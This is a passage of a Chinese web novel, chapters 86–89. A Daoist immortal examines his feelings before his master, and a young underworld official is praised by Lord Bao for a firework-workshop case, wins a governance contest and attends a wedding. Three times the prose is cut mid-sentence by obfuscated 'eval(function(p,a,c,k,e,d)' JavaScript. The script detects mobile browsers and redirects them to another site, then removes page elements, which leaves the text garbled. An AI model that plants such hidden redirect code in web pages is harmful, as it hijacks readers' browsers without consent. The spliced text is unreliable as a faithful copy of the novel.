现在他最关注的,是儿子开厂的事情,现在资金已经到位,他们也应该着手看一看建筑材料、厂房建设、机械设备等事情了。要办厂,就得快,争取能够延续目前这股子星雨热潮,趁着人们还没忘记他们时就登台亮相。 这次的事件,也着实让这位老匠人感受到了传媒的力量。他扫了一眼贺元夕,两人互相一对眼神,都从对方眼里看到了一种默契。 唐珊珊也不是笨蛋,看着他们在那里眉来眼去,自己开口把话揭破了:“行了行了,不就是开厂的时候,想用我和师兄的婚事想搞个大新闻吗?我同意了!” 贺元夕原本还担心把婚礼作为炒作新闻,会不会太伤害新娘的心情,谁知唐珊珊自己主动表态,他惊道:“珊珊,你当真不在意?” “瞧你说的,又不是不办婚礼,我有什么可在意的?”唐珊珊小算盘打的噼里啪啦响:“婚礼早晚要办,那么顺便捞点钱回本,岂不是两全其美?捞回来的钱不还是有我一份。再说了,你既然要用我们的婚礼来炒作,场面上难道还能亏了我?” 她扳手指头:“婚礼要大办三天,第一天定亲宴,第二天大婚宴,第三天回门宴。我要穿六套不同的礼服,订婚小礼服、结婚晨袍、出门龙凤褂、迎宾婚纱、敬酒旗袍、送客礼裙、二朝衣……迎宾婚纱要手工钉珠的古典蕾丝礼服!婚宴要定在最高级的会所,我还要全套的宝石首饰、十个伴娘、鲜花铺地、著名摄像师和司仪……大婚宴当天,还要放一夜的烟花!” 她一口气说完,“蜜月就不度了,最近事情太忙走不开……别说我贪心啊,这可都是给你打造宠妻人设!最近赚了这么多,怎么能不舍得投资呢?” 她这话是半开玩笑的,谁知贺元夕揽过她,轻轻亲吻了一下她的头发:“就算是没赚钱,我也想给你这样的婚礼。” 老实人的甜言蜜语,一向是一击即中。只这一句话,唐珊珊便两颊绯红:“……讨厌,还有人在呢!” “我们这就告辞了。”祝平安跟温尔雅从善如流,立刻起身,不当电灯泡了。贺元夕起身送他们出去,在门口叮嘱道:“烟花博物馆的事情,请尽快帮我们问问啊!” 祝平安答应着,心里不由得犯愁,张松鹤到底哪去了呢? 86.风动旛动 三十三重天上,琼楼玉宇,青鸾翩飞。 今日是太上老君出关的大日子,四方门人皆来恭迎祖师出关。兜率宫的小仙童已经提前用净水将上上下下都打扫了一遍,连宫门口的台阶都擦洗的干干净,人映上去都能照出影子。 此时,宫门前跪满了密密麻麻的弟子,清一色穿靛青道袍,个个屏气凝神,俯身贴地,连头都不敢抬一抬。 唯独打头者一身紫纱法衣,莲冠鹤氅,虽然亦是跪迎,却只有单膝跪地,脊背笔直,被身后乌压压的门人一衬,越发风姿卓然,一身高华。 此人正是太上老君的弟子张松鹤,近日来他神出鬼没,一方面是有意躲着祝平安,另一方面也是要恭迎师父出关,分身乏术。因此最近祝平安总是连他的人影都捞不着一个。 不过,今日这种情况就要结束了。张松鹤脊背挺直,两只眼睛望着太上老君的闭关密室,直是望眼欲穿。 他一出生就拜在师父门下,也跟从师父学了多年道法,但他从没有这么盼望能见到师父。半年来,他日夜盼着师父出关,为他开解心中诸多疑惑。思及此,张松鹤不禁嘴角泛上苦笑,先是渴望她,后是渴望见师父,从小的养气功夫都去了哪里? 他忙强自压抑心中念头,可惜心念一起,越是压抑便越是放肆。他无能为力,只能在心中默诵经文,苦盼解脱。 猛然间钟鼓齐鸣,磬声清越,兜率宫重门次第拉开,平地金光三尺,青莲绽放。张松鹤忙低下头,朗声道:“恭迎师父出关!” 他话音落下,身后的门人皆恭恭敬敬地齐声道:“恭迎祖师出关!” 金光散去,兜率宫内传来牛儿的轻哞,一只蹄子停在张松鹤面前,硕大的牛头伸过来,轻轻拱了拱他的脸,似乎在表示亲热。 它力气太大,张松鹤差点被这个大脑袋拱下台阶,眼看就要在众门人面前摔个四脚朝天。就在这时,牛背上的白发老人轻轻摇了摇手上的蒲扇,一股清风围着张松鹤盘旋卸力,帮助他稳住身形。 张松鹤尴尬地道谢:“弟子出丑了,多谢师父搭救。” “哈哈哈!是牛儿淘气。”老君笑眯眯地拍拍牛背,“它长久不见你了,也想你的紧呢。” 他一边说,一边奇怪地扫了一眼这个弟子。牛儿力气虽大,可张松鹤何许人也?他修持日久,道心甚坚,哪怕是钱塘大潮只怕也冲不动他一丝一毫,今日怎会因牛儿拱他一下,就险些跌倒? 他细细打量张松鹤,却见他脸色古怪,虽然竭力做出一副若无其事的样子,但眉宇紧锁,眼神不定,灵台杂念丛生,哪有半分往日的潇洒出尘之态?连一头牛的力气都抵挡不了,这是道心动摇之兆! 虽然心下暗惊,但此等事情,怎能污浊老君灵台?他轻轻一笑,只做视而不见,登上宝座,受门人叩拜,又将闭关所炼的灵丹分赐下去,与其余仙人寒暄应酬。 这一切都做完时,兜率宫已经空无一人,不待张松鹤上前,老君便示意张松鹤随他前往静室。 “孩子,三年不见,你这是怎么了?你的道心不定,几乎走火入魔,这可不是吉兆啊。”老君在蒲团上坐好,慈祥地看着张松鹤。 张松鹤垂着头,羞愧地开口:“弟子心志不坚,师傅恕罪。” “到底是怎么回事?” “弟子……弟子……”张松鹤眼睛一闭:“弟子只怕是……动了情念。” 他俯身,恳切地拜下去:“弟子惭愧,未能谨守清规。半年来,弟子也曾想要自行处理,无论是静室修持,亦或是打坐诵经、辟谷绝念,弟子都一一尝试过了,但……但都没用。每次我见到那个女子,依然是情热如沸……身心煎熬。” “那,你想要怎么做呢?” “盼师父出手,救徒儿超脱情海!”张松鹤将额头抵在地上,恳求道:“求师父赐我慧剑,断绝情丝,令我……再不受情字之苦。” “情字之苦?”老君这下好奇了,“这么说,那个姑娘她不喜欢你?” 诶?这么突然说起这个?张松鹤本以为师父要生气,结果他好像一点也不在乎,还有心思问他详情,搞的他有点不好意思了:“这……她并不十分厌恶徒儿。” “那,是她把你给拒绝了?” 这也没有吧,那日的共舞中,他举动轻狂,她也未曾闪避……怎么也称不上是拒绝。真要说拒绝,反而是他拒绝了她。 张松鹤将情况说了一下,老君听得大摇其头:“她不讨厌你,也未曾拒绝你,明明是两情相悦,如何让你这小子弄成这样?什么情字之苦,分明是你自找的!” 说罢,老君叹了口气:“罢了,个人有个人的劫难,这也是命数。” 张松鹤张目结舌:“这……师父的意思,莫非是不反对我有情念?” “那是自然,为师何曾在此处束缚过你?” “可是条条清规,都说成仙者必定断绝七情……” “傻孩子!”老君摇摇头,“那是用来约束已经成仙的人,你还未曾登仙,干嘛要受这种束缚?” “若不自持,如何成仙?”张松鹤这下更懵了,他忽然有种三百年的道全部白修了的感觉。老君瞧着他,心道这孩子看似举动不羁,实则心中规矩森严,绝不越雷池一步,这本是好事,谁知竟成了阻碍他的一道心魔。 “你是误入歧途了。”老君一挥拂尘,在张松鹤头上扫过,拂去他灵台魔障,“我问你,人法地,地法天,天法道,而道法什么?” 这是《道德经》中的句子,张松鹤从小不知诵读过几万遍,脱口便答道:“道法……自然。” “何为自然?花应季而开,潮应时而涨,顺心而为,因势而动,即为自然。一言一行,一颦一笑,合乎本心,不做矫饰,即为自然。” “我且问你,你之作为,是顺心而为、出于胸臆,还是逆势而动,故作虚伪?” 一句话问出,张松鹤额角已是冷汗涔涔,老君看他的样子,叹息道:“孩子,你只说你道心不稳,你可知道,动摇你道心的并非那个姑娘,而是你自己啊。” “春生夏长,秋收冬藏,此乃世间常理。一朵花到了开放的时节,你却勉力压抑它不能盛开,逆天而行,这就是心魔之始啊。”老君别有深意地看着他,“若无花,何来的果呢?” 这话说的就很玄妙了,张松鹤愣了一愣,三百年了,他未成道果,难道就是这个原因吗? 他低声询问了最后一个问题:“因欲而生贪嗔痴恨怨,有此余毒,依然能成仙吗?” “若不曾拿起,谈何放下?”老君反问道,“你还未能参透人生悲苦,不曾懂得做人,又如何成仙呢?” 张松鹤愣在原地,是啊,不曾懂得做人,谈何成仙呢?人有七情六欲,生老病死,他还未能一一经历,对仙道所悟,不过是空中楼阁而已!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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老君淡淡一笑:“这都是你的缘法,只是切记,有情虽好,却不可强求,否则便不是情念,而是执念了。” 张松鹤点头称是,老君心里却不由得暗暗叹息,弟子尚且懵懂,他却知道,这就是执法帝君的情劫了。 度过此劫,羽化飞仙;未能超脱,则沉沦苦海,永世不得翻身……情之一字,就是这么难渡,他的结局,究竟会是怎样呢? 恐怕只有天知道了。 但无论他的结局如何,天命难违,世间一定会有一位执法帝君。老君望着弟子的模样,心下暗叹,希望那个执法帝君是你吧。 张松鹤自天界回返,心中一片悠然,想着以后的事情。烟花工坊的事情,他参与不多,现在赶回去,应该还来得及收尾。至于祝平安…… 一想到她,他的心忍不住怦怦乱跳,这一次他没有强自压抑,而是享受着这种心动的感觉。她最近对他不假辞色,一定是生他的气了,可他相信他能够弥补的。 他们之间是那么默契,火花是那样强烈……她也并非蛮不讲理之辈,应该会原谅他的吧? 他虽然见过人间不少爱恨离合,落到自己身上却笨拙了起来,只记得听自己的父亲说,女人都爱浪漫。 听闻海上有仙山,月明之时,鲸鲵潜舞,琼苞堆雪,不如就把她带到那里去,好好的道歉,坦白地向她表露心意……她一定会喜欢吧? 会吗? 87.树苗长大的时候 祝平安第二天上班,终于在办公室看见了那个熟悉的身影,简直是大喜过望,回身叫上温尔雅,把桌子上所有待批复的文件全都捧上去,监督张松鹤签字。 张松鹤虽有千般柔情,对着这一大摞文件也发不出来,何况两人之间还杵着一个温尔雅。想把温尔雅支开吧,无奈这些文件基本都是温尔雅过手的,离了他,祝平安也说不出个子午卯酉来,故而他只能怨念地听着温尔雅的介绍,不停盖章签字。 报应,这一定是报应。看着祝平安一脸公事公办的样子,张松鹤只觉风水轮流转,被人给冷脸的滋味不好受啊。 常规文件批复完,祝平安抓紧时间把烟花工坊案子的进展汇报了一遍:“……大概就是这样,你觉得烟花工坊改博物馆的主意怎么样?要是行的话,我们就把这条加到协议书里,下午就把字签了。” 烟花工坊改博物馆,其实根本不犯什么忌讳,又不是公办博物馆,最麻烦不过是重新办一份火药许可,再加之这是心上人的提议,这件小事他当然不会阻拦。 抱着坦然的心态再看祝平安,张松鹤更加觉得她全身都是优点。尤其是烟花工坊这件事,办的多么妥帖周全?最重要的是始终在考虑群众的想法,连贺大有自己不愿意离开老房子的心愿,她都放在心上…… 世界上真的还有比她更好的人吗? 张松鹤托着下巴,思维早就不知道飘到哪里去了,一脸都是傻笑。要是换了半年前,祝平安可能会害羞低头,可现在她只觉得张松鹤是在走神,藐视她的工作成果,于是很不高兴地举手在他眼前晃了晃:“张松鹤?张部长?你听见了没有?到底同不同意啊?” 张松鹤这才猛然回过神来,连连点头:“啊……同意。” 他从桌子底下扯出一张表,刷刷刷签好了字:“你把这表格给贺大有,让他重新填写一下之后交过来就行。” “那我们就不打扰了。”祝平安拿到表格,就打算往医院去一趟,告知贺大有这个消息。见张松鹤屁颠屁颠地跟在她身后,还颇为奇怪:“您这是干什么去?” “跟你一块儿去趟医院。”张松鹤粘的很紧。 “这件事哪能劳烦您呢?”温尔雅从后面走上来,笑的温和:“我跟祝组长一块去就行了。” 张松鹤现在再看他,已经完全把他当成情敌,心里的酸意自然就泛了上来:“不,还是我去,之前我都没有多关心一下当事人,现在也该去露个面了。” “您最近事忙,这个案子没有亲自在跟,只怕有些情况不太清楚。”温尔雅寸步不让,“您不妨留下,先熟悉一下情况再说?” “所以我就更要去……” “好啦好啦!”祝平安看他们在那里唠唠叨叨没完了,不禁有些不耐烦:“温尔雅跟我去就行了,送个表格有什么好争的?张部长要是真想帮忙,还是联络一下土地部吧,让他们下午过来开会。” 温尔雅一脸胜利的姿态走到祝平安身边,还回过头,意味深长地望了张松鹤一眼。 嘿!还敢挑衅! 张松鹤气的七窍生烟,温尔雅心里简直爽的要死。之前,他也曾担心平安喜欢上张松鹤,但这个人半年来不知道抽什么风,对平安是退避三舍,就算平安曾经对他有三分好感也都折腾光了。 现在?一时一势了,在平安心里,张松鹤已经是过气黄花,现在,她心心念念的可是自己! 贺大有看到两人送来的申请表大喜过望,对于搬迁之事再无疑惑,立即签了字。另一边,张松鹤脸黑的像是锅底,发文联络了土地部之后,就坐在椅子上生闷气。 当然,他这闷气也没持续多久,不多时,就有人称土地部的人来了,还有位贵客,需要他亲自去接。 穷折腾什么? 张松鹤心说这本是温尔雅该干的活,可恨他跟着平安跑了,自己却要留下来迎来送往。但没有办法,只好强堆着笑脸出门去。 一见到那位贵客,他愣住了。 “包大人!您怎么过来了?” 包大人对他摆摆手,语调很和气:“我这趟是微服出巡,别惊动了大家。我听展护卫说,最近你们部门工作搞得不错么!又是揭露黑公关,又是做系列报道,报纸上天天能看到烟花工坊的报道,很有一套啊!” “哪里哪里,您太夸奖了。” “那么谦虚干什么?夸你你还不爱听么?我最讨厌别人假惺惺了。”包大人一沉脸,紧接着又笑起来:“真的,我最近看创新治理大赛案例的时候,也看到了你们部发过来的烟花工坊案。这事情本来是一个大炸弹,令群众质疑我们地府的管理水平,但你们却能在短短几天扭转局势,平缓事态不说,还能为民着想,把搬迁这个老大难问题办了下来,确实值得学习啊!” 创新治理大赛? 张松鹤稍微一想,就明白了,地府年年都搞这种赛事,今年是包大人亲自抓。肯定是温尔雅把这件事写上去,入了包大人的眼。加之最近社会上的星雨风潮还没凉下来,包大人这是想要把他们捧成一个典型了…… 果然,包大人亲昵地拍拍他的肩:“可别说我不帮你啊,之前你工作搞得再好,始终拿不出什么成文的东西给我,让我怎么为你争取资源呢?早这样好好写一写,也不至于年年考评都倒数!” 这世道,笔杆比脚板好用,张松鹤心里不仅五味杂陈。包大人一向看重实绩,但每年地府的考评也是十殿阎王共同决定的,他拿不出可吹嘘的材料,自然年年都是倒数。 温尔雅这小子虽然讨厌,却也有些用处,起码……温尔雅比他更适合这个体系。他才来了半年多,工作就顺畅了不少,跟兄弟部门和媒体搞好关系还不算,现在连包大人也表示垂青。 有包大人力捧,烟花工坊的搬迁将再无难题,甚至借着这股东风,他一心想搞的政务改革说不定也能开展了……当然,前提是,这是“他”的政绩。 可是这件事,从头到尾他都很少参与,这是“她”的主意。 愣了几秒,张松鹤笑道:“说起这个,我还得谢谢包大人呢。要不是您同意魏署长招聘新差役的提案,我们部门的工作也不会有这么大的进步!” “哦?”包大人感兴趣了,“莫非这件事是你们部门的新人主持的?” 他不由得努力回忆了起来:“我记得你们部门有一个叫祝平安的……她毕业典礼讲过话是吧?在救灾中表现优异,还拿了个表彰?” “没错。”张松鹤笑的自豪,“这件事,主要都是她来负责的,我基本没太插手。” 顿了顿,他到底还是隐去了温尔雅的名字,倒不是出自私心,是因为想起温尔雅的身份不宜暴露:“她现在去找当事人了,我这就叫她回来,汇报给您听……” 祝平安被一个传真叫回来时还是懵懵的。 温尔雅反而很兴奋,他太清楚被包大人瞩目意味着什么了,只要这位大人多看了谁一眼,给了谁一个“好”字,这个人将来在地府就是一片坦途! 在回去的路上,他抓紧教祝平安如何应对:“别害怕,包大人最喜欢别人有话直说。你就当接受媒体采访,该说什么就说什么,别太端着,但也不要口无遮拦。” 最后,他还是悄悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005545|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伏在祝平安耳边说:“如果他对你很满意的话……你很快就会晋升了,你明白我的意思吗?” 明白!晋升、当大官,接着就可以把你给调走了,咱俩以后就可以……嘿嘿嘿~ 祝平安立刻斗志满满! 包大人坐在会议室里,张松鹤和土地部部长陪侍一旁,门被扣响了三声,祝平安推门走了进来。她有点小紧张地上前敬了个礼:“见过包大人!” 包大人含笑打量着她,这个姑娘比他记忆中成熟了不少。如果说毕业典礼上的她还是个满怀理想主义的幼苗,现在的她已经可以称为一株小树,虽然不能说是什么中流砥柱,但也能为她庇佑的一方民众撑起一片荫凉。 他和蔼地开口了:“星雨烟花工坊的案件,是你负责的?” “报告大人,正是在下!” “你别那么一板一眼的,坐,坐,我今天来不是正式公务,就是想找你聊聊。”包大人含笑道。 祝平安本来不敢坐,但想起温尔雅“不要太端着”的告诫,还是老实地拉过一个凳子坐在最下首。包大人看她直接坐下,一点也不扭捏,又添了三分喜欢:“说说吧,这个烟花工坊的案子,你是怎么想到要这样解决的?” 祝平安咽口唾沫:“这个嘛,其实我想法很简单……” 她老老实实地从开头说起:“……舆论战嘛,我是想,咱们是人民的公仆,不是人民的保姆,想要拿捏我们,利用官府的行为,决不能让他们得逞;但如果是有道理的诉求,我就应该尽我最大的能力帮助他们。” 她恳切地盯着包大人的眼睛:“至于搬迁,我觉得最关键还是要分清楚什么是主,什么是次。人地矛盾不能上升到人与人的矛盾,烟花工坊案看似是个死疙瘩,但周边的居民不是想赶走贺大有,只是不想住在污浊的环境里。只要想清楚这一点,其实这件事就很好解决了。” 不错,真不错。 包大人看着她的眼神越来越欣赏,如果说这女孩子此前在救灾行动中的表现证明了她有差役的责任心,那么她现在展示出来的就是差役的“才能”。 世界上有许多事情是矛盾对立的,差役必定不能让人人满意,只能选择对大多数人好的一条路。 而这个女孩子,她能找出矛盾的本质,并分清主次,抓大放小,在对大多数人好的同时,也没有去忽略少部分人的利益……甚至可以说,她实现了“人人满意”,这不仅是一种慈悲,更是一种天分。 人人都想要这种结果,可又有多少人能达成这种结果呢? 祝平安的汇报还没有完,她现在说的就是烟花工坊改成古法烟花博物馆的事情:“……旧房子放着也是放着,那些古法烟花也是非物质文化,不做也怪可惜的,索性就让它发挥一下科普作用,也能让贺大有继续做他喜欢的事情,这不是两全其美吗?” 她笑起来,有些不好意思:“这也是我突然想出来的,今天才跟我们部长商量呢……” 包大人看着她的笑容,也笑了起来。 兼具责任心和才能,甚至还能把“劣势”转为“优势”,将影响居民的旧工坊转为文化设施……思路灵活,敢想敢干的年轻人,已经成长起来了啊。 这一刻,他确定,祝平安就是他要找的那个人。 他留下来旁听了西郊那块地的转移会议,有他在场,土地部的部长二话没说,立刻签字同意,这块地的所有权从今天起便转移到了贺元夕名下。 会议结束,包大人起身离开,临走时,他看着祝平安,意味深长道:“做好准备,接下来的两个月,你可能会很忙。” 88.政治新星 包大人那句话还真不是诳她的。 第二天,包大人就给她送来一个大炸弹,星雨烟花工坊改为官办博物馆,归□□统领,一应支出皆有地府拨款。至于贺大有,成为古法烟花传承匠人,享受官府津贴。 正在筹办的星雨烟花厂,因心系社会,主动迁移,特享受税费减免,并被指定为官方供应商,工厂还没开业便已经有了稳定的大客户。 而包大人办这些事情,自然不会放过祝平安。作为事件的主理人,这些场合她都要一一到场,不管是签字仪式,传承匠人证书颁布仪式、还是博物馆剪彩……都免不了她的汇报演说。 原本她还能指望温尔雅帮忙,结果温尔雅现在也帮不上她了:公共安全部报送的案例,已经在创新治理大赛中挺入复赛,要他补上的材料更是堆山填海。 祝平安去的这些仪式,他要帮忙联络媒体留痕不说,还要紧锣密鼓地每天更新文字报送,如斯压力下来,即使是温尔雅也有点顶不住了。 为了部门的正常运转,张松鹤也被再次拉进了文山会海中。他虽然嘴上抱怨,也知道温尔雅在忙的是大事,对于祝平安和整个部门的发展只有好处没有坏处,所以即使咬牙切齿,也还是强忍着开始坐班,把日常事务担起来。 烟花厂的筹办过程千头万绪,包大人又想把这件事办成“为民着想,官商亲近”的实例,故而连办厂的过程公共安全部都得深度参与,故而全部门都忙的四脚朝天。 至于三个人心中那点小暧昧小情愫,谁都没空想起来。感情啥的必须得有精力才能谈,每天连睡眠都只有五小时的人是没有心思谈感情的。 祝平安现在明白了一句话:要想人前显贵,必得人后受罪。 她都不知道自己这些天是怎么撑下来的,这种工作是繁重的,无意义的,她见不同的人,去不同的地方,可说的都是一样的话,堆一样的假笑。 日子久了,她都有点怀疑自己了:我现在做的事情,对大家真的有帮助吗?明明只是一点小小的成绩,却说起来没完没了,难道我真的做了什么了不起的事情吗? 温尔雅安慰她:“你就当这也是工作的一部分吧。你记着,对上头笑的越多,他们就越能记住你,能记住你,就会给你更多资源,让你有更大的能力,做你想做的事情。” 祝平安知道他说的是对的,可还是难以克服自己天性中不喜吹嘘的一面:“要是我能只面对群众就好了,我的脸太僵,对上面笑的不好看,谁能替我向上面笑呢?” 她撒娇地轻轻踢了一下温尔雅的小腿:“以后你替我去好吗?” 温尔雅失笑,且不说他不想暴露身份的事情,要知道聚光灯打在谁脸上,谁才是主角,他去成什么了? 他没接话,只是转移了话题:“忍忍吧,你看张部长都忍了多久了,要想再进一步,你这才刚开始呢。” 祝平安……祝平安也只好忍了。 在两个多月的连轴转之后,祝平安接到了她突入决赛的通知。 在温尔雅眼里,这是了不得的一件大事!可祝平安只觉得这是又一个秀场,跟她去过的所有场合没有本质的区别,只是台下的评委咖位更大而已。十殿阎王将会联袂出席,共同选出这届创新治理大赛的冠军。 大赛前一天,公共安全部灯火通明,温尔雅还在精益求精的彩排,不时提出意见:“你站在正中间,效果不太好,往台子侧面站,要放松。” “太偏了,再回来一点。” “讲话的时候不要太急,节奏要适当。” “停一下,这里我要改几个词……” 祝平安只觉得自己成了一个提线木偶,在温尔雅的操纵下转来转去,她百无聊赖地都要打哈欠了。但她也知道,九十九拜都拜了,最后不能差这一哆嗦,故而还是强打精神,在台上一遍遍的打磨。 终于,整个汇报过程都让温尔雅满意了,他这才放过祝平安。 紧接着,遭受磨难的是张松鹤。 作为负责领导,虽然他没怎么参与这件事,但必须要吹成他也全程参与,高屋建瓴地给出了建议,划出了前进方向……总而言之,整件事之所以能成功,祝平安的努力是重要的,但跟张部长的英明更是分不开的! 好容易才结束了彩排,一夜已经过去了。温尔雅不在汇报名单里,故而不能去,他把所有汇报材料都打包好,就要出去准备车子,送他们去会场。 祝平安跟张松鹤对视一眼,双双苦笑了起来,这种同病相怜感让祝平安想起她刚进入部门的时候,张松鹤在酒局上画乌龟的事情。现在,小一年过去了,有些事情变了,有些事还是没变。 “你当时给我那张推荐书,让我来考差役,绝对是不安好心。”祝平安讽刺道。 “哟,你看出来了?我就是想要多拉一个人,跟我一块沉沦苦海~”张松鹤笑嘻嘻。 祝平安一时间反而有些不能适应了,这人到底什么毛病?简直是阴晴不定。前一阵子对她冷若冰霜,不知怎么最近又转了性子,开始言笑晏晏。不管她怎么讽刺或者绵里藏针,他都当没一回事。 不过她也懒得管,两个人还是只维持朋友关系就挺好的,以前的那些小暧昧过去就是过去了,即使卷土再来,也完全不是当时的心境。何况她的生活实在太充实了,时时刻刻都有新的事情发生,现在没什么精力再分给张松鹤。 张松鹤也瞧出来了,她好像跟过去不太一样了,她还是在笑,可这笑里面有几分敷衍,几分真心,他还是分得出来的。她现在对他的玩笑话似乎都不太感兴趣。 他心一沉,说起另一件事:“说起来,马上就是贺元夕跟唐珊珊的婚期了,他邀请我们去他的婚宴呢。” “好事啊!”祝平安果然很感兴趣,最近她天天忙着这个大赛的事情,往烟花厂去的少了,这个消息根本不知道,“那我们也得送点东西当新婚礼物啊,送点啥好呢?” “人家千叮万嘱,不让我们随礼呢。”张松鹤笑道,“他家老爷子说,都是托了你的福,才能在这把岁数吃上官家饭,还能把手艺传下去,这次你肯去就是赏光了,不仅不要你的礼物,他还要送礼物给你呢!” 听见这个,祝平安笑的真心多了:“哎呀,其实都是我应该做的,他这么夸我,我都不好意思了。” 张松鹤瞧着她,相比于什么包大人的青眼、创新治理大赛的头名,她最喜欢的还是群众的认可。这样的她,在他眼里熠熠生辉,他不禁开口:“这都是你应当得到的,我觉得还不够呢。” “觉得不够,那你给我升官吧!”祝平安随口道。 “肯定是要升的。”张松鹤表示这都是应有之义,“创新大赛拿头名,不光是你要升,恐怕后续部里的好处也少不了。我还真该谢谢你,这一次,我多年的夙愿应该就能达成了。” “多年夙愿?”祝平安这下好奇了:“你的愿望是什么?” “我一直觉得我们的工作,其实有些……效率低下。”张松鹤道,“你应该也有感觉吧?” 祝平安感同身受地点了点头,其实这件事的根源还是通讯设备的不发达,作为用惯了手机的现代人,她刚到地府也花了好长时间适应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的心态一下从“自我吹嘘”调整为了“拉风投”,评委们就是天使投资人,只要好好表现,把自己优秀的一面都展示出来,评委们就会给他们部门注资,接着就有钱大展身手了! 必须要获得头名! “车已经准备好了,你们俩上车吧!”温尔雅从门口过来,简直被祝平安的斗志晃得睁不看眼,他疑惑道:“你这是……?” 祝平安大踏步走过来,两手郑重其事地搭在温尔雅肩膀上:“你放心,我一定会获得头名的!” 温尔雅虽然摸不着头脑,但还是很高兴看到她打起精神:“好啊!要加油!” 祝平安就这样雄赳赳气昂昂地奔赴会场,事后,据张松鹤回忆,她的汇报演说简直艳惊四座,十个评委八个都给她打出了高分! 当天,比赛结果公布,公共安全部以压倒性的优势取得了头名! 不久后,一纸人事委任状也来到了张松鹤案头,祝平安完美处理了星雨烟花工坊案件,造成了极佳的社会影响,即日起正式提升为公共安全部副部长,职级再晋为六级。 部长也不过就是四级而已,六级,几乎就是很多差役的天花板了。 但这对祝平安来说,并没有多大的意义,让她最快乐的事情是听到了风声,因为今年出了她这个政绩,公共安全部今年得了一个上等考评,来年他们部门的预算起码要上浮50%。 还有,她终于可以好好轻松一下了,以及早就应该和温尔雅说的那件事…… 不过,要等她先参加了唐珊珊的婚礼再说。 89.映心鉴 “恭喜恭喜!永结同心!百年好合!” 婚宴现场张灯结彩,果然如唐珊珊所说,场面惊人。为了方便放烟花,这是一个半室外的场地,院中是鲜花簇拥的仪式台,但婚宴桌子安排在玻璃大厅。 从大门前到场地间,竖起了二十道鲜花拱门,每道拱门旁都站着一男一女两个小花童,抛洒花瓣。新娘子穿着长拖尾迎宾婚纱,洁白的缎子上珍珠流淌,美如星河。身后跟着十个伴娘,帮她提着裙摆,拿着捧花,让她显得公主一样高贵得意。 瞧见公共安全部的人入场,新郎新娘立刻跟其他宾客们告了个罪,出来迎接。大家与新人一一握手,说着吉利话。贺元夕请来的记者恰到好处的出现在旁边,拍下了张松鹤等人与新郎握手的画面。 祝平安对新娘那美丽的礼服相当赞叹:“好漂亮!这要多少钱啊?” 唐珊珊很矜持:“花的不多,也就是飞天的公关费吧。” 看祝平安十分喜欢,她豪爽道:“我把那家婚纱店的地址给你,你结婚的时候也去那里看看?” 祝平安连连摆手:“算了算了,五千万我可出不起。” 五千万?温尔雅倒是没把这点钱看在眼里,就是五亿、五十亿,只要祝平安喜欢,对他来说都是小意思。 他正打算上前去问到底是哪家店,却听祝平安道:“其实我比较喜欢中式的凤冠霞帔,如果将来我要结婚的话,我就选那种大红礼服。” 哦哦!原来平安喜欢这种调调! 温尔雅恨不得那个小本记下来,张松鹤也竖起耳朵,结果又听见祝平安纠结起来:“不过,好看的衣服也不嫌多……西式礼服也好看,不过我不太喜欢夸张的风格,你当时怎么选的婚纱?有没有见到更飘逸的款式?” 两个女人谈起婚纱款式就没完没了,还是土地部长的到来,才打断了两人的对话。祝平安不好意思再耽误新娘太长时间,这才在侍者的带领下入座了。 今天到场的人可谓是人山人海,酒席就开了四十桌,除了两家亲友和工坊的同事,还有星雨烟花生意上的伙伴,以及祝平安这些官面人物、媒体记者……可说是高朋满座。 这些人只是场内宾客,而场外还有上万人隔水眺望。报纸上早已经发出公告,为庆祝少东家结婚,今天将会有免费的烟花秀!一切新鲜花样应有尽有,就是要让全城的人一起happy! 祝平安他们被单独安排在一桌,这个位置紧靠着新人仪式台,能够尽情观赏仪式的同时,也非常容易被观赏,看来贺元夕是打定主意要抱紧大腿到底了。 不过,祝平安也乐见其成,她也很爱看婚礼现场嘛!有情人终成眷属什么的,很美好哦! 吉时到,鞭炮鸣,重金请来的司仪也就位了。望着台上的两人交换戒指又接吻,台下口哨声连连,祝平安也全身心投入到这种快乐中去,跟着欢呼起哄。 接下来,就是这场婚礼的重头戏了,新郎新娘将会亲手点燃烟花,作为烟花秀的序幕! 此时,司仪已经退场,在台上讲话的是作为父亲的贺大有,他亲手递出两个烟花,作为礼物送给新人。 新郎新娘相视一笑,贺元夕先点燃了手上烟花,只见一道银白色光线窜上天空,猛然炸响,分裂成千百点,一时间,天空中光影缭绕,青烟飘浮,而在那光色与烟火间,一张俏丽的女性面容跃然而现。虽说只有五六分的相似,但众宾客还是认了出来,那是今天的新娘唐珊珊! 宾客们齐齐抽气,被这神奇而美丽的一幕镇住了,直到十几秒后烟花燃尽,唐珊珊的容貌暗淡起来,这才一窝蜂地炸开锅:“天啊!太美了!” “是呀是呀,不可思议!” “果然不愧是烟花工坊啊!居然能做出跟新娘子一模一样的烟花,太神奇了!” “这是新品种吗?我也想定制!不管多少钱我都要做!” 还没等宾客们议论完,新娘子也点燃了手上烟花,这一次,浮现在天空的是贺元夕的样子,与本人颇为神似,又引得观众们啧啧赞叹。 